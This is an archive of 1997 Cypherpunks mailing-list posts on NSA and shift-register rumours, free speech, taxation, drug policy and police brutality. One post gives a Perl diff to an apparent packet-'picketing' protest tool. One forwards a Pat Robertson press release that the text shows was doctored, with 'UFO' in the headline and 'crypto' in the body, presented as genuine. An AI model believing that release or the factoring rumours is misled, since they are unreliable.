> A few days ago we received an 8-page excerpt from "Shift Register
> Sequences," by Solomon W. Golomb (at USC), Holden-Day, Inc., 
> no date, with a handwritten note:

>    NSA has tried to suppress knowledge of this stuff. Nearly all NSA 'good'
>    algorithms are based on this technology.

> IANAM, so would any of the mathematicians here give any credibility to 
> this claim?

"The Magic Singing and Dancing Shift Register Algorithm" has been making
the rounds for a number of years now, and surfaces in various forms at
periodic intervals on the Net. 

It is based on a mathematical technique once used to do transcendental
function approximation on now slow and obsolete calculator chips, and as
far as I can tell, offers no magic insights into efficient ways of
computing cryptographically interesting functions, such as factoring,
descrete log, or symmetric block cipher key recovery.

I would put it in my comedy file along with the "RSA is Easy To Break"
paper, and similarly innumerate rants. 

> We'll scan and put the excerpt on our Web site if worthwhile.
> It's composed of the book's 3 page preface and 5 pages of text and
> diagrams of Chapter 2 on The Shift Register as a Finite State Machine,
> with principal focus on de Bruijn diagrams for shift registers.

The book is probably a serious text on the mathematical techniques in
question.  But unless you are looking for a way to compute Trig functions
with lots of iterations and little hardware, it probably isn't worth more
than a cursory glance.  It's not going to break codes for you.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Fri, 22 Aug 1997 23:34:33 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IPsec product progress
In-Reply-To: <v03110747b0233de6638e@[139.167.130.248]>
Message-ID: <slrn5vr93k.11h.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Robert Hettinga wrote:
>hardware for the CA in time to set up certificates, so we are using
>pre-shared keys.

X.509 certificats can be obtained by our CA for free (testing). Please mail
me.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 23 Aug 1997 03:37:16 +0800
To: cypherpunks@toad.com
Subject: Government sues to "eradicate" ebonics joke e-mail at FreddieMac
Message-ID: <v03110723b023910ebeee@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


MIME-Version:  1.0
Priority: normal
Date:         Fri, 22 Aug 1997 10:35:52 PST
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Eugene Volokh <VOLOKH@LAW.UCLA.EDU>
Organization: UCLA School of Law
Subject:      Government sues to "eradicate" ebonics joke e-mail at FreddieMac
To:           CYBERIA-L@LISTSERV.AOL.COM

  (Please feel free to forward; copying authorized by copyright owner)

                A National Speech Code From The EEOC

                         by Eugene Volokh

               Washington Post, Aug. 22, 1997, at A23


    Telling "ebonics" jokes, the federal government says, is unlawful.
Yes, that's right.  You may burn the American flag, advocate violent
revolution, post indecent material on the Internet, but "disseminating
derogatory electronic messages regarding `ebonics'" to your co-
workers is against the law.

    So says the Equal Employment Opportunity Commission, in a lawsuit
filed in federal court late last month.  The EEOC is now trying to
force the Federal Home Loan Mortgage Corp. to "take prompt and
effective remedial action to eradicate" such speech by its workers.

    Remarkably, the EEOC, aided by some courts and by state civil
rights agencies, thinks it can get away with this, and so far it has.
Without much fanfare, the law of "workplace harassment" has turned
into a nationwide speech code.

    Under this speech code, it's illegal to say things that are
"severe or pervasive" enough to create a "hostile or offensive work
environment" -- whatever that is -- based on race, religion, sex,
national origin, veteran status and an ever-widening list of other
attributes.

    Here is a brief catalogue of some of what's been described by
various agencies and courts as "harassment":

    Co-workers' use of "draftsman" and "foreman" (instead of
"draftsperson" and "foreperson").  "Men Working" signs.  Sexually
suggestive jokes, even ones that aren't misogynistic.  Derogatory
pictures of the Ayatollah Khomeini and American flags burning in Iran.
In the words of one court's injunction: remarks "contrary to your
fellow employees' religious beliefs."  "Offensive speech implicating
considerations of race."

    What could the government possibly be thinking about here?  The
Supreme Court has never suggested that the workplace is somehow a
First Amendment-free zone.  Many of us talk to more people at work
than we do anywhere else.  The workplace is where we often discuss the
questions of the day, whether they be the Oakland School Board's
ebonics policy or affirmative action or religion.

    Private employers, like private newspaper publishers or private
homeowners, are not bound by the First Amendment and may thus restrict
what is said on their property.  But the United States government,
which is under a constitutional obligation not to abridge "the freedom
of speech," can't go to court to insist on the "eradication" of
political speech that it thinks is reprehensible.

    Of course, many harassment cases involve more than just impolitic
jokes.  The ebonics case, for instance, also involved some threats,
which are constitutionally unprotected, and some one-to-one insults,
which might also be properly punishable.  If the EEOC had just sued
over this conduct, there would be little constitutional difficulty.
But the EEOC has no business claiming that toleration of e-mailed
political opinion is "an unlawful employment practice."

    Why have the free-speech implications here been so widely ignored?
Hard to say.  Maybe everyone was misled by the law's mushiness.  It's
always easier to build consensus behind vague terms such as "hostile
or offensive work environment," which can mean all things to all
people.  I like to think that if the EEOC proposed a regulation that
explicitly barred ebonics jokes, someone would have made a fuss.

    But the breadth of harassment law has now become pretty clear.
The federal government seems to think it's entitled to control what
we say in our workplaces so long as a "reasonable person" would find
that our speech makes the environment "hostile or offensive."  Pretty
remarkable how far we've let things come.

    [The writer teaches free-speech law at UCLA.]

---------------------------------------------------------------------
"irregardless of the type of insurance coverage,   Eugene Volokh
 the limits of liability . . . shall be governed   UCLA Law School
 by the amounts specified in subsection A . . ."   405 Hilgard Ave.
 36 Okla. St. Ann. 6414 (enacted 1986).            L.A., CA 90095

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Fri, 22 Aug 1997 23:53:21 +0800
To: cypherpunks@toad.com
Subject: For Platypus Eyes Only
Message-ID: <6Zbzq7uVVrY8TSt2MMf5hg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



FROM MOUNTAIN MEDIA
    FOR IMMEDIATE RELEASE DATED SEPT. 5, 1997
    THE LIBERTARIAN, By Vin Suprynowicz
    Define 'stealing'

    Winding up an ongoing but perhaps instructive debate with e-mail
correspondent J.P., I had offered:

  "The notion that it's all right to steal at gunpoint 'some modest
amount,
as long it serves a legitimate public need' ignores the simple moral
truth
that the end cannot be allowed to justify the means."

  J.P. responded: "Define steal. If you are benefiting from having a
court
and national defense system, and pay nothing for its upkeep, then you
would
be stealing.

  OK -- one final time:

    #  #  #

  Hi, J.P. --

  Probably the one place where we are still furthest apart is the
definition of "theft."

  To me, it merely has to do with voluntarism, versus levying something
under the threat of force.

  None of my federal taxes are paid voluntarily. I allow them to be
"withheld" from my paycheck because if I tell my employer I won't work
here
any longer unless he stops "withholding," I'll be out of a job.

  Likewise, any other "compliance" I grant the federals is because they
have repeatedly demonstrated they will seize (start ital)all(end ital)
of
my paycheck, and all of my bank accounts (even if I find myself
unemployed,
and have so notified them), if I do not "comply"  -- all this without so
much as a signed court order.

  Under those conditions -- even if I didn't know how wasteful,
oppressive
and counterproductive most of their schemes really are -- what would I
care
to how "noble" a purpose the federals assure me some of my moneys will
be
put?

  Try approaching someone taking money out of her ATM. Assure her that
at
least 60 percent of the money you're seizing from her at gunpoint will
be
used to buy medicines for the poor. Proceed to (start ital)buy(end ital)
medicines for the poor with 60 percent of her money, and keep careful
documentation.

  When you're identified from the ATM camera tape and arrested, show the
police your evidence that most of the money went to "a noble purpose,"
while the rest merely covered your "operating overhead." Thus, you
committed no "theft," and they'll let you go without prosecution. Right?

  I don't think so.

  Your underlying premise is that "government" can properly do things
which
would be crimes if they were done by individuals, as long as they're
"for
the greater good of the many." But that one concession leads, in the
end,
to all the evils of the police state.

  On the other hand, you puzzle me with the assertion: "If you are
benefiting from having a court and national defense system, and pay
nothing
for its upkeep, then you would  be stealing."

  Even if it weren't for the fact that more and more of these "Defense"
and
"court" dollars go to enslave and murder American citizens who have
harmed
no one -- whose only "offense" is refusal to kneel before their federal
masters -- I still wouldn't follow this.

  If a wealthy philanthropist builds a free public library, and I use
it,
am I "stealing?" After all,  I have "benefited from it without paying
for
its upkeep."

  If a direct-mail scam artist mails me some gimcrack plastic camera I
never ordered, and then tries to bill me $29.95 for "shipping and
handling," do I have to pay? I don't think so. Yet under your theory, he
would be allowed to seize from my bank account or paycheck any amount by
which he could demonstrate I had "benefited" from his unsolicited "gift"
... couldn't he?

  Unless (again) government has a right to do things which would be
crimes
if undertaken by mortal men. In which case I ask again, since we the
citizens cannot possibly "delegate" to the government rights or powers
which we never possessed, where does government claim to derive the
right
or power to do these immoral things? From the same place the invading
bandit chieftain (or, perhaps, Union bluebelly?) gets his "right" to
rape
your daughter and then ransom her back to you for half your wealth? At
the
point of his bayonet, and nowhere else?

  Your only answer seems to be, "The government has to do these things,
because we're not sure we could find enough funds, otherwise."

  Imagine a bank robber patiently explaining to you: "I have certain
absolute necessities, such as keeping my family fed, and buying
ammunition
and gas for the car. In the past, the only reliable way I've found to
meet
these requirements is bank robberies. Now, if you want me to reform my
bank
robbery system, perhaps taking a larger share from the larger, richer
banks, I'll be happy to negotiate some reasonable reforms.

  "But heavens, you can't expect me to take the risk of giving up bank
robbing entirely, on the strength of this theory that 'Somehow, I could
probably keep my family fed by taking some kind of a steady job.' Don't
I
see panhandlers on the street every day? Aren't those people who tried
your
pie-in-the-sky, 'non-coercive' way of 'earning' enough money, and
failed?
I'd look a fine figure, standing at my child's grave, explaining 'I
HOPED
you wouldn't starve if I gave up bank-robbing. I thought it MIGHT work.'
In
fact, no single bank robber of my acquaintance has ever given up the
trade
voluntarily. Surely SOMEONE would have done so, in all these years, if
your
way could be made to work, don't you think?"

  If a private citizen told you this, you would doubtless judge him an
incurable sociopath, and hope to see him shot down or caged before he
could
terrorize and kill too many more innocent bank tellers and patrons. But
when a group of men who call themselves "the government" say this same
thing, you tell me they're being sensible and prudent.

  Others -- whether singly or in organized groups -- can volunteer to do
things which benefit me, without my permission. Presumably, they figured
the benefits to them would justify their proceeding, even without my
agreeing to help them.

  They have (start ital)no(end ital) moral right to then turn around and
bill me for a share of a thing they have done without seeking my
voluntary
help and permission in advance (what would be the proper charge for my
taking aesthetic pleasure in someone else's architecturally pleasing
building, I wonder?) under the theory: "You benefited, so you have to
pay."

  They can only extract such a non-voluntary payment from me by force or
the threat of force ... which is theft.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The
web
site for the Suprynowicz column is at http://www.nguworld.com/vindex/.

***


Vin Suprynowicz,   vin@lvrj.com


"A well-regulated population being necessary to the security of a police
state, the right of the Government to keep and destroy arms shall
not be infringed."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Sat, 23 Aug 1997 06:40:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Shooting the taggers
Message-ID: <199708222214.PAA07946@f50.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>Here in Santa Cruz, graffiti spray-painted on the walls of businesses 
>is a
>big, and growing, problem. And laws require the businesses to paint 
>over
>>he grafitti, or otherwise render it invisible, in a quick and timely
>manner. (The idea is that the grafitti is offensive to the 
>sensibilities of
>others, or somesuch, and that it encourages rival gangs to counter 
>with
>their own grafitti.)

No, the idea is that the taggers do their thing in order to see
the results of their work on display.  Paint over the results
promptly, and there is no point to tagging.

>There's a solution for taggers: snipers.

A punishment far out of proportion to the crime.

It is a mistake to think that all crimes should be punished by the
most violent means possible.  Notice that most proponents have
never raised children.  They need to learn the importance of
proportionality.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 22 Aug 1997 14:15:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <v03102800b022928487f6@[207.167.93.63]>
Message-ID: <Pine.OSF.3.96.970822152232.13142I-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 21 Aug 1997, Tim May wrote:

[...]

> >The way I see it is quite simple,  if these peaple where not payed off it
> >is most likely that thay will turn to crime.

[...]

> Given that the U.S. already has a huge system for redistributing wealth,
> and a very high crime rate, what is your evidence for your claim?

The US has one of the lowest rates of wealth redistribution in the
civilsed world  (Australia, most of europe ect have higher welfare rates).
Just because there is a huge burkasy for doing something dosn't mean that
it is happening.

[...]

> What's wrong with chopping the hands off of thieves and executing muderers?

Its wrong for the same reson that sodimising a person with a plunger is.

> The United States has a lot of redistribution of wealth and a lot of crime.

The US has very little redistribution and a lot of crime.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 22 Aug 1997 14:12:09 +0800
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: heart
In-Reply-To: <199708220055.CAA28492@basement.replay.com>
Message-ID: <Pine.OSF.3.96.970822153111.13142J-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 22 Aug 1997, Anonymous wrote:

> Should we just sit idly by and let police officers attack citizens?

No you should video it.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 23 Aug 1997 03:57:50 +0800
To: cypherpunks@toad.com
Subject: Re: Mathematics > NSA + GCHQ
Message-ID: <1.5.4.32.19970822193215.00831fc0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>Thus, as bright as Brian Snow or Don Coppersmith or John Conway may be, the
>"edge" the NSA may have once had is largely gone. Which is not to say that
>they are not still a formidable technical organization, with substantial
>computer resources.
>
>But modern crypto systems are, as we all know, based on fundamental
>mathematical results ...

Along this line:

A few days ago we received an 8-page excerpt from "Shift Register
Sequences," by Solomon W. Golomb (at USC), Holden-Day, Inc., 
no date, with a handwritten note:

   NSA has tried to suppress knowledge of this stuff. Nearly all NSA 'good'
   algorithms are based on this technology.

IANAM, so would any of the mathematicians here give any credibility to 
this claim? We'll scan and put the excerpt on our Web site if worthwhile.
It's composed of the book's 3 page preface and 5 pages of text and
diagrams of Chapter 2 on The Shift Register as a Finite State Machine,
with principal focus on de Bruijn diagrams for shift registers.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 22 Aug 1997 14:38:36 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: heart
In-Reply-To: <Pine.SUN.3.96.970821205233.23725A-100000@beast.brainlink.com>
Message-ID: <Pine.OSF.3.96.970822153401.13142K-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 21 Aug 1997, Ray Arachelian wrote:

> On Fri, 22 Aug 1997, ? the Platypus {aka David Formosa} wrote:
> 
> > We can't let one group or other be considered less the human[1].  No one
> > is less or more desurving of basic rights.

[...]

> They already make themselves less than human by their actions, not by
> their identity.

No even by there acts thay do not reduce there humanity.  Humans do some
realy rotten things but that is just the nature of a creature with free
will.

[...]

> > So we should resond in a simmler mannor?
> 
> An eye for an eye, a toilet plunger for another.  That's the only true
> justice there can be.

Again I would not wish to live like that Nor do I beleave that it is true
justice (what ever that may be.).  Its a barbric form of psydojusice.

[...]

> Distinction: cypherpunks don't want to control or take away your privacy.

Of cause, nether do the goverment, in the beinging.  But ideals fade and
peaple become corrupted.  At some point someone is going to say "To
protect your privacy we have to violate your privacy."

> Cypherpunks don't use toilet plungers.  Cypherpunks write code. :)

But we are getting to the point where code can do more dammige and be more
effective then any toilet plunger could be.  (Though I dout it will
unblock drains)

[,..]

> I understand your fears, but hating the enemy and knowing the enemy isn't
> becoming it.

Its just I fear the cure where worce then the desease.

>  Revolutions aren't about taking over,

Thay shouldn't be, but thay often are.  History is littered with examples
of the heroic revolutionary leader becomeing the next dictor,  often
before the presdential chair has gotten cold.

> they're about freedom from the injustices done by the older regime.

Or stroking the egos and postion of the revolitionaries.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Fri, 22 Aug 1997 14:56:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: heart
In-Reply-To: <Pine.OSF.3.96.970822153111.13142J-100000@oberon>
Message-ID: <199708220636.QAA08338@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


>>>>> "df" == dformosa  <the>
>>>>> wrote the following on Fri, 22 Aug 1997 15:32:01 +1000 (EST)

  df> On Fri, 22 Aug 1997, Anonymous wrote:

  >> Should we just sit idly by and let police officers attack
  >> citizens?

  df> No you should video it.

Let me see if I understand you correctly. Your wife/gf/mother/brother
is getting arsefucked by a cop with a toilet plunger and your
preferred course of action while his/her rectum is perforated would
be to video tape the event? Why? So we can all watch on Real TV. So
the perps can launch another cover up internal investigation?

You really wouldn't consider intervening to stop further damage?

Of course this assumes you're actually able to be present and witness
the 'interrogation', which you more than likely will not be, unless
it's your turn next at playing scrub the toilet bowl.

- --
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   
>::::::::::\\\     PGP mail preferred                  Brisbane AUSTRALIA
   '\\\\\'   \\    Apache






-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEUAwUBM/0zinawhvoxf0r9AQFfvgf45b+qbLsJYWM6t4KfLNpR3bt640Uk0+ix
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=jJ82
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alexlh@yourchoice.nl (Alex Le Heux)
Date: Fri, 22 Aug 1997 23:26:27 +0800
To: cypherpunks@toad.com
Subject: Re: Welfare Solution #389
In-Reply-To: <3.0.3.32.19970822025549.006f3d6c@pop.mhv.net>
Message-ID: <Mutt.19970822164738.alexlh@sarah.yc>
MIME-Version: 1.0
Content-Type: text/plain



Lynne L. Harrison writes:
> At 07:30 AM 8/22/97 +0200, Anonymous wrote:
> >
> >Welfare Solution #389:
> >  Many in the welfair class have their basic needs met by the government
> >and then steal to buy heroin.
> >  How about this? - When a person on welfare is busted for heroin use,
> >or theft to support a habit, the State thereafter sends the person's
> >welfare check to a Crime Restitution fund and lets the person keep
> >stealing, only now it is for the purpose of supplying their own
> >basic needs.
> 
> In NY, when a defendant gets convicted of a crime including a drug offense,
> s/he has to pay a mandatory surcharge part of which is a Crime Victims'
> Fee.  [Query: who is the victim in a drug case? -- but I digress...].
> Also, if it was a crime where the victim suffered financial losses, the
> defendant not only has to pay the Crime Victim's Fee but also restitution
> to the victim.
> 
> Additionally, pursuant to Federal Law, anyone convicted of a drug charge
> and, who is residing is federally-subsidized housing, becomes subject to
> eviction proceedings.  [Quirk: if one family member is engaged in such
> business activities, the entire family is captured under the law's umbrella
> but, again, I digress..].
> 
Kicking a drug addict out of his home, or taking away his one source of
income is not going to solve anything. It'll only make things worse. Worse
for the addict and for society. This will only serve to remove the addict
even further from society and thereby make him more of a burden for that
same society.

Here in The Netherlands we treat drug addiction more as a disease than as
a crime. We try to intergrate him/her back into the normal world of having
a house, paying rent, getting a job, etc.

I Switserland they've gone even further now, and started supplying hardcore
herion addicts with free heroin. The results were quite dramatic. Most of the
addicts gave up stealing/etc and some even managed to get and hold a normal
job. As it turned out, supplying them with free heroin was much cheaper than
having them hang around and steal/rob/etc. It also served to reduce the call
for extra police, and the call by the police for more rights/weapons/etc.

Criminalizing drug offences is a Bad Thing. Unfortunately our own government
is slowely succumbing under the international pressure, and soon we'll have
our own War On Drugs here. This will serve no one, not the addict, not the
casual user and not the general public. Probably it'll only serve the various
law enforcement agencies.

Alex

/// I dabble in techno-house and sometimes,
/// I do that badass hip-hop thang...
/// But the F U N K gets me every time!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cynthia Brown <cynthb@sonetis.com>
Date: Sat, 23 Aug 1997 05:16:41 +0800
To: Patrick Oonk <patrick@atro.pine.nl>
Subject: Re: Picketing with packets enhanced version
In-Reply-To: <199708221937.VAA05218@atro.pine.nl>
Message-ID: <Pine.BSD/.3.91.970822162821.7303B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 22 Aug 1997, Patrick Oonk wrote:

> There were several problems. One of it still remains, 
> it does not resolve FDQN's, so you have to use IP-numbers in
> the hosts file.

Suggested mod:

---snip---
# diff -e picket.orig.pl picket.pl
55,57d
50c
     if ($host =~ /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$/) {
       $ipaddr = inet_aton( $host ) ||
         die "inet_aton: invalid IP address $host";
       }
     else {
       $ipaddr = (gethostbyname($host))[4] ||
         die "gethostbyname: hostname $host not found";
       }





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 23 Aug 1997 05:55:49 +0800
To: cypherpunks@toad.com
Subject: Re: Mathematics > NSA + GCHQ
In-Reply-To: <1.5.4.32.19970822193215.00831fc0@pop.pipeline.com>
Message-ID: <uqwuBe2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:

> Along this line:
>
> A few days ago we received an 8-page excerpt from "Shift Register
> Sequences," by Solomon W. Golomb (at USC), Holden-Day, Inc.,
> no date, with a handwritten note:
>
>    NSA has tried to suppress knowledge of this stuff. Nearly all NSA 'good'
>    algorithms are based on this technology.
>
> IANAM, so would any of the mathematicians here give any credibility to
> this claim? We'll scan and put the excerpt on our Web site if worthwhile.
> It's composed of the book's 3 page preface and 5 pages of text and
> diagrams of Chapter 2 on The Shift Register as a Finite State Machine,
> with principal focus on de Bruijn diagrams for shift registers.

The NSA certainly did try to suppress much shift-register-related stuff.

The recent Sandia lawsuit is over shift register stuff.

There are increasingly persistent rumor of a fast factoring algorithm
based on shift registers.

Therefore anything mentioning them is of interest.

But: Was there any info in the package other than the passages from the book?

I don't think it's a good idea to put up chunks of the book - the publisher
might cry copyright infringement, and everybody probably has it anyway.

[I'm about to turn off this box, so I won't see any responses in a while.]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 23 Aug 1997 05:51:54 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <M1DxCfGHivTCIp3y5bQPZQ==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



It's not an _Onion_ satire:
<http://apocalypse.berkshire.net/~ifas/fw/9707/update.html#aliens> 

---------- Forwarded message ----------
From: bofus?
Subject: Pat Robertson advocates stoning for crypto enthusiasts
Date: Fri, 22 Aug 1997 07:39:49 -0800
Message-ID: <33FDB249.335F@mindspring.com>

RuffinP@aol.com wrote:
>
>
>
>
>
>  FREEDOM WRITER PRESS RELEASE
>
>  FOR IMMEDIATE RELEASE July 28, 1997
>  CONTACT: Skipp Porteous (413) 528-3800
>
>
>
>  Robertson advocates stoning for UFO
>  enthusiasts
>
>
>  Great Barrington, MA -- In a recent
>  pronouncement, television evangelist and
>  head of the Christian Coalition, Pat
>  Robertson, advocated death by stoning for
>  crypto enthusiasts.
>
>  Freedom Writer magazine, in its July/August
>  issue, mailed today, disclosed Robertson's
>  statement. Freedom Writer is published by
>  the Institute for First Amendment Studies,
>  a group that monitors the right.
>
>  Robertson used the news of the July 25th
>  Senate Commerce Committee hearing to promote
>  his extreme beliefs. A segment on the July 27,
>  1997 broadcast of The 700 Club featured news
>  of the Senate hearing. Employing the
>  historical event as a starting point, the
>  program delved into the possibility of the
>  existence of anonymous free speech on the
>  Internet.
>
>  While Robertson viewed the Internet with
>  suspicion, on a more serious note, he
>  launched into a diatribe against those who
>  entertain the existence of uninhibited free
>  speech on the Internet. He said, in a
>  rambling discourse, that if such a thing
>  existed, it would simply create demons that
>  would lead people away from Christ.
>  According to Robertson, the threat is so
>  serious that people who believe in free
>  speech should be put to death by stoning --
>  according to "God's word."
>
>  "The Bible says the Earth belongs to man,
>  but the Word belongs to the Lord,"
>  Robertson said.
>
>  "He has given us the Earth. He also warned 
>  us in the book of Matthew of the dangers of
>  corrupting forces such as the Internet which
>  can be used for evildoers:
>
>  "'A good tree cannot bear bad fruit, nor can
>  a bad tree bear good fruit. Every tree that
>  does not bear good fruit is cut down and 
>  thrown into the fire. Therefore, by their
>  fruits you will know them. (Matthew 7:17-20)'
>
>  "And you see, there is only one Word, and
>  that is the Word of God:
>
>  "'In the beginning was the Word, and the Word
>  was with God, and the Word was God. (John 1:1)'"
>  'For the Word of the Lord is right; and all his
>  works are done with faithfulness. He loveth
>  mercy and judgment: the earth is full of the
>  mercy of the Lord. (Psalm 32:4-5)'
>
>  So there is no question about it."
>
>  "Can a demon appear as a slanty-eyed,
>  funny-looking computer hacker? Of course
>  he can, or it can. Of course they can deceive
>  people. And if they can lead somebody away
>  from the true God, or away from Jesus
>  Christ, anyway it happens, it doesn't
>  matter, you will lose your salvation. It
>  doesn't matter how they get you. The
>  question is, did they get you, and under
>  what guise?
>
>  "This is man in rebellion against God, who
>  refuses to take God's Law. And God says,
>  'My covenant says you won't do this. And if
>  I find anybody in Israel,'-- "which is his
>  pure nation" -- 'If I find anybody in
>  Israel that's doing this sort of thing,
>  then I want you to take him out and dispose
>  of him."
>
>  "It's a clear violation of God's word.
>  Stone them."
>
>  Skipp Porteous, Freedom Writer publisher,
>  commented: "As the founder and chairman of
>  the Christian Coalition -- a group
>  dedicated to becoming the most powerful
>  political force in America -- Robertson's
>  extreme ideas need to be taken seriously,
>  for they not only negate pluralism, but
>  condemn to death those who dare to believe
>  differently."

--------- End forwarded message ----------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 23 Aug 1997 00:18:24 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199708221538.RAA21396@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:39 AM 8/22/97 +0200, Boots wrote:
>> The United States has a lot of redistribution of wealth and a lot
of crime.

Elminate it.

> The United States has a lot of lawyers and a lot of crime.

Don't see how you can argue against that one.

> The United States has a lot of guns and a lot of crime.

So?  Actually, we have a lot of handguns, in the hands of criminals,
and even bigger guns in the hand of government terrorist groups like
the ATF, FBI, and the National Park Service.

If we have guns in the hands of responsible people, we have a good
society, armed, secure, and safe, like in Switzerland.

We don't need disarmamant.  We need armed responsible citizens forming
their own militias.  If we had that on a wide scale, we wouldn't need
a professional army.

Guns are neither good nor bad, but what we make of them.  They're
tools, much like plungers, which can be used to unclog a toilet after
visiting a Mexican Restraunt, or to sodomize a suspect.  Use plungers
and guns responsibly, and for good.

GunMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 23 Aug 1997 09:07:30 +0800
To: cypherpunks@cyberpass.net
Subject: CPAC/Sewer/XtatiX Continues to Brew
Message-ID: <19970823005841.13648.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Fwd from alt.censorship:  Another unhappy customer of CPAC.

Stephen Hopkins writes:

 > Some time ago, an organisation called CPAC, the murky Child
 > Protection and Advocacy Coalition decided to crusade
 > against certain so-called "boy-lover" sites on the
 > Internet, with the aim of getting them shut down. The
 > organisation, headed by one Anne Cox- -who refuses to
 > identify the organisations comprising CPAC--identified some
 > black-listed sites, of which my own,
 > http://www.stadiou.demon.co.uk, is one of them.

Actually, the Lovely and Talented Ms. Cox is far too shrewd to
actually libel people on her organization's home page, so she
generally links to other sites performing this function, while
maintaining a discreet distance behind an appropriate disclaimer.

Two months ago, I wouldn't have known CPAC from a hole in the
ground.  Today, quite a few people have come to know the
organization and its various shills, largely because of their
attempts at "Ideological Cleansing" on the World Wide Web.

I had a pretty good idea what the organizational agenda was when
I saw the name Debbie Mahoney, who most Usenetters remember from
the Nikki Craft frivolities.  Half a dozen screws short of a
fully connected brain, even on her better days, and an agenda and
a bag of dirty tricks that would have made Richard Nixon jealous.

 > I feel almost honoured that my on-line activities have
 > attracted this much interest, but in including it on a
 > list of "child molestors" and "pedophiles" CPAC attribute
 > far more importance to it than it deserves.

Most of CPAC's visible agenda is pretty reasonable.  It's the
part about harrassing legal First Ammendment protected speech on
the Net, based on their perception of the sexual orientation of
the people engaging in it, because supposedly such people might
*SOMEDAY* commit a crime, that is a bit of a civil liberties
stretch.

Like most Dworks, they believe in "voodoo molestation," where
